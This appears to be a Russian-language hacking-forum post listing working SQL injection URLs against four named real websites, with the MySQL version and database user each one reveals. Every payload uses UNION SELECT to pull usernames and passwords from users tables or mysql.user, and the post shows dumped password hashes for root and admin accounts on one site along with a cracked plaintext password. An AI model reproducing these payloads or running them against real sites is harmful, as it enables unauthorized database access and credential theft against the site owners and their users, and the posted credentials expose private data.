|
Участник форума
Регистрация: 25.05.2007
Сообщений: 147
С нами:
9981026
Репутация:
728
|
|
4job.ru
Код:
http://www.4job.ru/index.php?vac_id=-54183+union+select+concat(id,char(58),password)+from+users+limit+0,1/*
Версия - 4.1.22
Юзер - job4@localhost
Есть доступ к mysql.user
trailersbyniche.com
Код:
http://www.trailersbyniche.com/trailers_sites.php?categoryid=-21+union+select+1,2,aes_decrypt(aes_encrypt(concat(username,0x3a,password),0x71),0x71),4,5,6,7,8,9,10,11,12,13,14,15,16,17+from+users/*
Версия - 4.1.16
Юзер - VIKING@LEASE631
Опять же можно прочитать данные из mysql.user
systema.ru
Код:
http://www.systema.ru/inc/bkard.php?Id=-6+union+select+1,2,3,4,user,password+from+mysql.user/*
Версия - 5.0.24a
Юзер - admin@www.systema.ru
5-ая ветка, соответственно можно прочитать из information_schema.tables, но из таблиц прочитать что-либо нельзя...
Зато существует доступ к mysql.user:
root - *A7CEC0AA91C37E406E05D39C4BC7C4B4B6064715
admin - *CE2618670420A28D6B759E9E0B8AE253F50DFD5B: nimda
znamenitosti.tv
Код:
http://znamenitosti.tv/base.php?content=index&language=ru&letter=-%D0%9E'+union+select+1,2,3,4,5,6,7,8,9,version(),11,12,13,14,user(),16/*
Версия - 5.0.27-log
Юзер - skygsi_znamenit@88.208.19.12
Опять 5-ая ветка, но вновь облом, совершенно никаких таблиц с интересной информацией...
|